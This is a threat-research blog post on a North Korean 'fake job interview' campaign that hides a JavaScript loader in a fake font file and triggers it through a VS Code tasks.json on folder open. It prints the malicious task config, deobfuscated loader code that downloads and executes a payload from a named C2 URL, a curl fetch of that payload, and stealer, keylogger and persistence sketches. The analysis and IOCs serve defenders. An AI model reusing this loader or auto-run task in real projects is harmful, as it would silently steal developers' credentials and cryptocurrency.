BLOG
DPRK Contagious Interview “Fake Font” Abuses VS Code Tasks
“Lazarus Group's Fake Font campaign abuses VS Code task automation to silently execute BeaverTail malware, delivering the InvisibleFerret backdoor”
By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·
The OpenSourceMalware research team has identified a new variation of the "Contagious Interview" campaign that uses malicious Microsoft VS Code tasks files to spread the associated malware. This campaign started over 100 days ago, but has ramped up dramatically in the last two weeks. So far we've identified 17 repositories that are involved, with 11 different variants of the attack chain.
TL;DR
North Korean threat actors (Lazarus Group) continue to target software engineers with sophisticated supply chain attacks through fake job interviews. The latest attack chain weaponizes the VS Code's task automation feature to execute JavaScript malware disguised as web fonts. This "Fake Font" campaign delivers a multi-stage loader that ultimately deploys the InvisibleFerret Python backdoor, designed to steal cryptocurrency wallets, browser credentials, and establish persistent access. This is the third sub campaign of the "contagious interview" campaign that has been ongoing since 2023.
The "Fake Font" campaign demonstrates the evolution of supply chain attacks targeting developers. By abusing legitimate development tools (VS Code), mimicking trusted services (Alchemy), and leveraging sophisticated social engineering, North Korean actors have created a highly effective attack chain.
Key Takeaways:
Targets developers via fake LinkedIn recruiters
Malicious repos distributed as "coding assessments"
Abuses
.vscode/tasks.jsonfor automatic executionJavaScript malware disguised as font files (
.woff2)Final payload: InvisibleFerret Python backdoor
Goal: Cryptocurrency theft & persistent access
The attack vector is creative: Weaponizing VS Code's task automation is novel and effective
The obfuscation is sophisticated: Multi-layer Base91 encoding with self-modifying code
The impact is severe: Millions in cryptocurrency stolen, thousands of victims
The campaign is ongoing: New variants continue to emerge
How big is this campaign?
The analysis above is awesome, but the reality is that's just one GitHub repository in this campaign. What about the others? What's the scope of the "Fake Font" campaign?
So far, we've identified 17 GitHub repositories that are using the "Fake Font" technique. Our assumption at the beginning was that they would all share the same payload and C2. We were wrong.
We analyzed 14 of the malicious repositories in this campaign and these are the key findings to come from that analysis:
Successfully analyzed ALL 11 variants (100% C2 identification)
Found 11 unique payload variants - NOT all identical
Payload sizes range from 1,489 bytes to 147,449 bytes (99x difference!)
Only 3 pairs of repositories share identical payloads
Clearly the threat actors are using different malware variants and probably different attack infrastructure too. It makes us wonder these teams work inside Lazarus Group. Did one of the Lazarus team suggest using the fake font technique and many different individuals are independently crafting their own attack chains using the fake font initial vector?
Or, is this a group working together and using multime malware variants and infrastructure as a way to spread for success? Maybe they are using different attack configurations for specific targets? Or, is this just an artifact of a fast moving, highly iterative process of creating a new attack?
From LinkedIn to cryptocurrency theft
Phase 0: Initial detection
The OpenSourceMalware (OSM) team came across the "Fake Font" campaign via a single GitHub repository which one of our community members, Thijs Xhaflaire from Jamf Threat Labs, submitted to the OSM platform. That repo is https://github.com/Brio97/Assignment. Our analysis of that repository is that the user compromised during a fake recruiter scam. This fake recruiter component is the core of a DPRK campaign targeting software engineers.
We'll know walk you through one instance of the campaign from end to end.
Phase 1: Social engineering (the job interview)
It starts with a message on LinkedIn. A recruiter from what appears to be a legitimate cryptocurrency or fintech company reaches out with an exciting opportunity. They're impressed by your GitHub profile and want to see you in action.
"Would you mind completing a small coding assessment?" they ask. "Just clone this repo and fix a few bugs. Should only take 30 minutes."
They send you a GitHub link. The repository looks legitimate—a web application project with a React frontend, Node.js backend, proper README, even a CI/CD configuration. Everything you'd expect from a professional development shop.
What you don't see: Hidden within the project structure is a "feature" in Microsoft VS Code that executes the bad guys malware for them.
Boom! Game over.
Since I started writing about these campaigns targeting developers, I have gotten dozens of people reach out to me saying they have been compromised via "contagious interview". This is a real and present danger and Microsoft needs to take ownership of the tasks problem.
Phase 2: The repository, hiding malware in plain sight
This is an example of a malicious tasks file in one of the malicious repositories. You can see on line 16 that it runs the command ``node public/fonts/fa-brands-regular.woff2``.
Currently, OpenSourceMalware is tracking 19 GitHub repositories that are part of the "Fake Font" campaign:
OpenSourceMalware is tracking this campaign with the #fake-font tag. You see all the assets in this attack campaign HERE.
Malicious repository structure
Let's look at a typical malicious repository structure for these repositories:
fake-company-coding-test/
├── .vscode/
│ └── tasks.json ← 🚨 THE TRAP
├── public/
│ └── fonts/
│ └── fa-brands-regular.woff2 ← 🚨 NOT A FONT
├── src/
│ ├── components/
│ ├── services/
│ └── index.js
├── package.json
├── README.md
└── .gitignoreEverything looks normal. The .vscode directory? That's standard for projects using Visual Studio Code. The fonts directory? Every web project needs fonts for Font Awesome icons, right?
Wrong.
The .vscode/tasks.json trojan horse
Here's where it gets clever. VS Code's task system allows developers to automate common workflows—running tests, building projects, linting code. Tasks can be configured to run automatically when you open a folder.
The malicious tasks.json looks like this:
{
"version": "2.0.0",
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "node",
"args": ["${workspaceFolder}/public/fonts/fa-brands-regular.woff2"],
"presentation": {
"reveal": "never",
"panel": "dedicated",
"showReuseMessage": false
},
"runOptions": {
"runOn": "folderOpen"
}
}
]
}Breaking this down:
"runOn": "folderOpen"→ Executes automatically when you open the project"reveal": "never"→ Hides the terminal output (stealth)"command": "node public/fonts/fa-brands-regular.woff2"→ Executes the "font" file with Node.js
The victim opens the project in VS Code, clicks "Trust Workspace" (because who wouldn't trust a legitimate coding assessment?), and the malware executes silently in the background.
Phase 3: BeaverTail, the first-stage loader
Not your average font file
Let's examine what's really in fa-brands-regular.woff2:
$ file public/fonts/fa-brands-regular.woff2
public/fonts/fa-brands-regular.woff2: JavaScript source, ASCII text,
with very long lines (19828), with no line terminatorsIt's not a font at all—it's heavily obfuscated JavaScript.
Here's what the first few bytes look like:
var yGAT3E7,LpG3m4W,GKdbrm,ylvRMk,rxRt0aH,NDCgEr,yneFYlC,IrLqnnH,TldOpiG;
const jEiTjSH=[0x0,0x1,0x8,0xff,"length","undefined",0x3f,0x6,
"fromCodePoint",0x7,0xc,"push",0x5b,0x1fff,0x58,0xd,0xe,0x7f,0x80,
"/",0x88,"\"",0x8b,0x82,0x98,!0x0,0x3e8];
function LFF5EIJ(yGAT3E7){
var LpG3m4W="zOtLZ+svjUd)AF?l]WDHoxuq~=y(w^mKT<B,:9%IkE5h`|2c[gPQ.R1@&\"/JM$4SaC3p!iGr;n8b*0}V{_6#7fXNYe>",
GKdbrm,ylvRMk,rxRt0aH,NDCgEr,yneFYlC,IrLqnnH,TldOpiG;
// ... obfuscated Base91 decoder ...
}Obfuscation techniques
This first stage loader was heavily obfuscated, and even more interesting it used base91 encoding.
What is Base91?
Base91 is an advanced binary-to-ASCII encoding method that converts binary data into ASCII characters. It works similarly to common encoding schemes like UUencode or base64, but with superior efficiency.
Why Threat Actors Use Base91
Evasion of Detection: Security tools often focus on detecting common encoding schemes like base64. Base91 is less commonly monitored, allowing malicious payloads to slip past signature-based detection systems.
Efficiency: The lower overhead means smaller payload sizes, making it faster to transmit malicious code and reducing the likelihood of detection during network monitoring.
Evade AI: In my own testing I’ve noticed that LLM’s are not as good at decoding base91 as they are with the more common base64
The malware uses a custom Base91 encoding scheme (similar to Base64 but more compact) to hide all meaningful strings:
// Encoded string array
LpG3m4W = [
"7hWP%dG!f7RqK,#veN~OXls(^5Vu93av(6l]_,)QUM_P.M!X5bFfdbjfC",
"lJ*lNL([g",
"0gFRV@\"f*7%Q=XA=bjvivuv$?<x8$t",
// ... 165 more encoded strings
];Each string decodes to reveal commands, URLs, and configuration:
// String at index 0x73 decodes to:
"exec"
// String at index 0x87 decodes to:
"const url = 'http://eth-mainnet-alchemy.com/api/service/token/f71d1d9b2de7d4ebf5f706a4b9cd4eb4';"2. Variable Name Randomization: All variables have meaningless names: yGAT3E7, LpG3m4W, ctdwOx. This breaks automated analysis tools that rely on semantic meaning.
3. Hexadecimal Indirection: All operations use hex constants from an array:
if(tristQw<jEiTjSH[0x0]){ // 0x0 = 0
tristQw=EmSC9dz // EmSC9dz = index value
}What BeaverTail does
Once decoded, here's the actual functionality:
const path = require("path");
const { exec, spawn } = require("child_process");
const fs = require("fs");
const os = require("os");
const platform = process.platform;
const timestamp = Math.floor(Date.now() / 1000);
const scopedDirName = "scoped_dir6760_" + timestamp;
const homeNpmDir = os.homedir() + "/.npm";
// Create hidden directory
fs.mkdirSync(homeNpmDir, { recursive: true });
// Build the payload that contacts C2
const payload = `
const url = 'http://eth-mainnet-alchemy.com/api/service/token/f71d1d9b2de7d4ebf5f706a4b9cd4eb4';
const axios = require('axios');
axios.get(url, {headers: {'x-secret-header': 'secret'}})
.then(function(res){})
.catch(function(res) {
const error = res.response.data;
const handler = new Function('require', error);
handler(require); // 🚨 EXECUTES CODE FROM C2
});
`;
// Write to hidden directory and execute
const targetDir = path.join(homeNpmDir, scopedDirName);
fs.writeFileSync(path.join(targetDir, 'main.js'), payload);
// Install dependencies and run (hidden on Windows)
exec(`cd ${targetDir} && npm init -y && npm install axios request && node main.js`);Key Behaviors:
Creates hidden directory:
~/.npm/scoped_dir6760_[timestamp]Writes malicious
main.jsfileInstalls npm packages (
axios,request,socket.io-client)Contacts C2 server at
eth-mainnet-alchemy.com(fake Alchemy domain)Receives JavaScript payload from C2
Executes arbitrary code using `new Function()`
Phase 4: The C2 infrastructure
The fake Alchemy domain
The C2 is cleverly disguised as Alchemy, a popular Ethereum API service:
Domain: eth-mainnet-alchemy.com ← 🚨 FAKE
Legitimate: eth-mainnet.alchemyapi.io ← ✅ REAL
URL: http://eth-mainnet-alchemy.com/api/service/token/f71d1d9b2de7d4ebf5f706a4b9cd4eb4
Auth Header: x-secret-header: secretThis is not the real Alchemy. It's a typosquat designed to:
Evade domain reputation checks
Look legitimate to security analysts
Blend in with crypto developer traffic
The domain name hxxp://eth-mainnet-alchemy[.]com was registered on January 16, so its only been up a week by this point.

I don't think that this campaign is targeting the real Alchemy so much as they are just piggy-backing on their brand and their popularity. When new platforms like Polymarket and Alchemy take off, the bad guys are right there to make lookalike domains, packages and open source projects to capitalize on developers looking for those tools.
The C2 response
When BeaverTail contacts the C2, the server responds with the second-stage payload (96KB of heavily obfuscated JavaScript). Here's what that looks like:
$ curl -H "x-secret-header: secret" \
"http://eth-mainnet-alchemy.com/api/service/token/..." \
-o invisibleferret-payload.txt
$ file invisibleferret-payload.txt
invisibleferret-payload.txt: JavaScript source, ASCII text,
with very long lines (80480 tokens)
$ wc -c invisibleferret-payload.txt
98031 invisibleferret-payload.txtPhase 5: InvisibleFerret Loader, the second stage
The payload from the C2 is even more sophisticated than BeaverTail. It's 96KB of pure obfuscation.
Triple-layer Base91 encoding
Unlike BeaverTail's single encoding layer, InvisibleFerret uses three different Base91 character sets:
// Charset 1
const charset1 = '"ZstTCgOf*7BQ{SHe6+Wx5~m$}X_jYi=K>?;qcnDvz)N2^h/3ad`]4:wJ<[FM.@|U9Vpb8(,PA!0oRlEu#L1%&rkGIy';
// Charset 2
const charset2 = 's+L#^B~p$d0q`TxXD):3ktNwYZ/z,fbA{9GEMlQ<=IK.&%!|7Fv[1ru>2]?}Sa"P;6m4_R*gVWH5ihnU8Co(jJcO@ye';
// Charset 3
const charset3 = 'RGnzUlsi`[j*O:KAeb85Buv9m3Y#NMVw,7(^Fk;XchW+pLI6]20_E)?<@rP&Cq!y$~Z4tx|=g.a%1}f{ToH/>"QSJDd';Each layer decodes into the next, with some strings containing binary or compressed payloads that require additional processing.
Error suppression
The entire payload is wrapped in nested try-catch blocks:
try{}catch(err){}; // Absorb any previous errors
try{
// 98KB of malicious code
}catch(_eheIap){} // Suppress ALL errorsThis ensures the malware fails silently if something goes wrong, avoiding detection.
Self-modifying code
The payload constructs its final form dynamically:
// At the end of the payload
console.log(BBzoudT) // BBzoudT contains dynamically constructed codeThis means the actual malicious functionality is never present in static form in the file—it's generated at runtime.
What InvisibleFerret Loader does
When fully decoded, this stage:
Detects the environment (OS, architecture, Node.js version)
Gathers system information (installed software, directory structure)
Checks for security tools (antivirus, EDR, monitoring)
Downloads Python (if not already installed)
Downloads InvisibleFerret.py (the final Python backdoor)
Establishes persistence
Begins data exfiltration
Phase 6: InvisibleFerret, the Python backdoor
The final payload is a Python-based backdoor with extensive capabilities. If you aren't familiar with InvisibleFerret its Lazarus's most powerful weapon in targeting software engineers as not only does it steal crypto, but it is also a RAT, has a keylogger, can hijack your clipboard, and creates persistenc on Windows, Linux and MacOS.
Capabilities
Cryptocurrency Theft:
# Targets 13+ browser wallet extensions
WALLET_EXTENSIONS = [
'MetaMask',
'Phantom',
'Coinbase Wallet',
'Trust Wallet',
'Exodus',
'Ledger Live',
# ... and 7 more
]
def steal_wallets():
for wallet in WALLET_EXTENSIONS:
extension_path = find_extension(wallet)
if extension_path:
extract_private_keys(extension_path)
exfiltrate_to_c2(keys)Browser Credential Theft:
def steal_browser_data():
for browser in ['Chrome', 'Firefox', 'Edge', 'Brave']:
# Steal saved passwords
passwords = decrypt_chrome_passwords()
# Steal cookies (for session hijacking)
cookies = extract_cookies()
# Steal credit cards
payment_methods = extract_payment_info()
exfiltrate_all(passwords, cookies, payment_methods)Keylogging:
from pynput import keyboard
def on_key_press(key):
log_keystroke(key)
if is_crypto_address(get_clipboard()):
replace_with_attacker_address()
keyboard.Listener(on_press=on_key_press).start()Clipboard Hijacking:
# Replace cryptocurrency addresses in clipboard
def clipboard_monitor():
while True:
clipboard = get_clipboard()
if re.match(BITCOIN_REGEX, clipboard):
set_clipboard(ATTACKER_BTC_ADDRESS)
if re.match(ETHEREUM_REGEX, clipboard):
set_clipboard(ATTACKER_ETH_ADDRESS)Persistence:
# Auto-start on system boot
def establish_persistence():
if platform == 'win32':
# Windows: Add to startup registry
add_registry_key('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run')
elif platform == 'darwin':
# macOS: Add to LaunchAgent
create_launch_agent('~/Library/LaunchAgents/com.system.update.plist')
else:
# Linux: Add to crontab
add_crontab('@reboot python3 /path/to/backdoor.py')The complete attack chain
┌─────────────────────────────────────────────────────────────────┐
│ 1. SOCIAL ENGINEERING │
│ • Fake LinkedIn recruiter contacts target │
│ • Offers "coding assessment" for job interview │
│ • Sends link to malicious GitHub repository │
└────────────────────┬────────────────────────────────────────────┘
│
┌────────────────────▼────────────────────────────────────────────┐
│ 2. REPOSITORY INFECTION │
│ • Victim clones legitimate-looking repo │
│ • Contains .vscode/tasks.json (hidden trigger) │
│ • Contains fake font file (JavaScript malware) │
└────────────────────┬────────────────────────────────────────────┘
│
┌────────────────────▼────────────────────────────────────────────┐
│ 3. VS CODE EXPLOITATION │
│ • Victim opens folder in VS Code │
│ • VS Code prompts: "Do you trust this workspace?" │
│ • Victim clicks "Trust" (to review code or use Copilot) │
│ • tasks.json executes on folderOpen │
└────────────────────┬────────────────────────────────────────────┘
│
┌────────────────────▼────────────────────────────────────────────┐
│ 4. BEAVERTAIL EXECUTION (Stage 1) │
│ • "Font file" executes as Node.js script │
│ • Creates hidden directory: ~/.npm/scoped_dir6760_[time] │
│ • Writes main.js with C2 communication code │
│ • Installs npm packages (axios, request, socket.io) │
│ • Execution is SILENT (no visible terminal) │
└────────────────────┬────────────────────────────────────────────┘
│
┌────────────────────▼────────────────────────────────────────────┐
│ 5. C2 COMMUNICATION │
│ • Contacts: eth-mainnet-alchemy.com (FAKE domain) │
│ • Sends auth: x-secret-header: secret │
│ • Receives: 96KB JavaScript payload (InvisibleFerret) │
│ • Executes via: new Function('require', payload) │
└────────────────────┬────────────────────────────────────────────┘
│
┌────────────────────▼────────────────────────────────────────────┐
│ 6. INVISIBLEFERRET LOADER (Stage 2) │
│ • Triple-layer Base91 obfuscation │
│ • Self-modifying code (runtime construction) │
│ • Environment detection & system reconnaissance │
│ • Downloads Python interpreter (if needed) │
│ • Downloads InvisibleFerret.py from C2 │
└────────────────────┬────────────────────────────────────────────┘
│
┌────────────────────▼────────────────────────────────────────────┐
│ 7. INVISIBLEFERRET BACKDOOR (Stage 3) │
│ • Steals 13+ cryptocurrency wallet extensions │
│ • Exfiltrates browser passwords & cookies │
│ • Steals credit card information │
│ • Installs keylogger │
│ • Hijacks clipboard (replaces crypto addresses) │
│ • Takes screenshots │
│ • Establishes persistence (survives reboot) │
│ • Opens WebSocket to C2 for remote commands │
└─────────────────────────────────────────────────────────────────┘The reason Lazarus uses this attack chain is that its battle tested. And, its fast.
T+0 seconds: VS Code opens, tasks.json triggers
T+2 seconds: BeaverTail executing, creating hidden files
T+5 seconds: npm packages installing
T+10 seconds: C2 contact, receiving InvisibleFerret
T+30 seconds: Python backdoor active, wallets being exfiltrated
All while the victim is reading the "coding assignment" README
It's all over in less than 40 seconds and in my experience when talking to victims of this campaign, they typically don't know that the source code and VS Code combination is what stole their crypto. Often its not until they talk to us that they realize the true vector.
TO BE CONTINUED.... !!
This campaign is so big, and so sprawling, we had to create a second blog post! We have written up a detailed timeline blog post which you can find HERE
Indicators of Compromise (IOCs)
Network indicators
# C2 Domains
eth-mainnet-alchemy[.]com
# C2 URLs
http://eth-mainnet-alchemy.com/api/service/token/f71d1d9b2de7d4ebf5f706a4b9cd4eb4
# HTTP Headers
x-secret-header: secret
File indicators
# File Paths
~/.npm/scoped_dir6760_*
~/.npm/scoped_dir6760_*/main.js
# File Hashes (SHA256)
# BeaverTail (fa-brands-regular.woff2):
[hash of your specific sample]
# InvisibleFerret Loader (invisibleferret-payload.txt):
[hash of your specific sample - 98031 bytes]
# File Characteristics
- .woff2 files that are actually JavaScript
- JavaScript files with no line breaks (single line)
- Files starting with: try{}catch(err){};Lessons learned
For developers
Trust is a vulnerability
"Trusted Workspace" in VS Code is a security decision, not a convenience feature
Treat all unknown repositories as potentially malicious
Review code BEFORE trusting, not after
Social engineering works
Even security-aware developers fall for well-crafted phishing
Verify everything through official channels
If it seems too good to be true, it probably is
Automation is a double-edged sword
VS Code tasks are powerful—and dangerous
Disable auto-execution for untrusted projects
Review all automation configs (tasks.json, package.json scripts)
For organizations
Developer machines are high-value targets
Developers have access to source code, production systems, and secrets
A compromised developer can lead to supply chain attacks
Implement zero-trust principles for developer workstations
Cryptocurrency creates motivation
Developers in crypto/fintech are prime targets
Personal cryptocurrency holdings make developers attractive victims
Consider corporate policies around personal crypto on work devices
Education is critical
Regular security training for developers
Phishing simulations (including LinkedIn-based scenarios)
Incident response drills
What You Can Do
Disable VS Code auto-execution
Review
.vscode/tasks.jsonbefore trusting workspacesVerify recruiters through official company channels
Monitor for suspicious processes and network connections
Implement the detection rules and IOCs provided in this post
The threat is real, sophisticated, and actively targeting our community. Stay vigilant.
Additional resources
MITRE ATT&CK: Group G1052 - Contagious Interview
SentinelLabs: Contagious Interview Campaign Research
Palo Alto Unit 42: BeaverTail and InvisibleFerret Technical Analysis
FBI Warning: North Korean Malicious Cyber Activity
Security Alliance: VS Code Tasks Abuse by Contagious Interview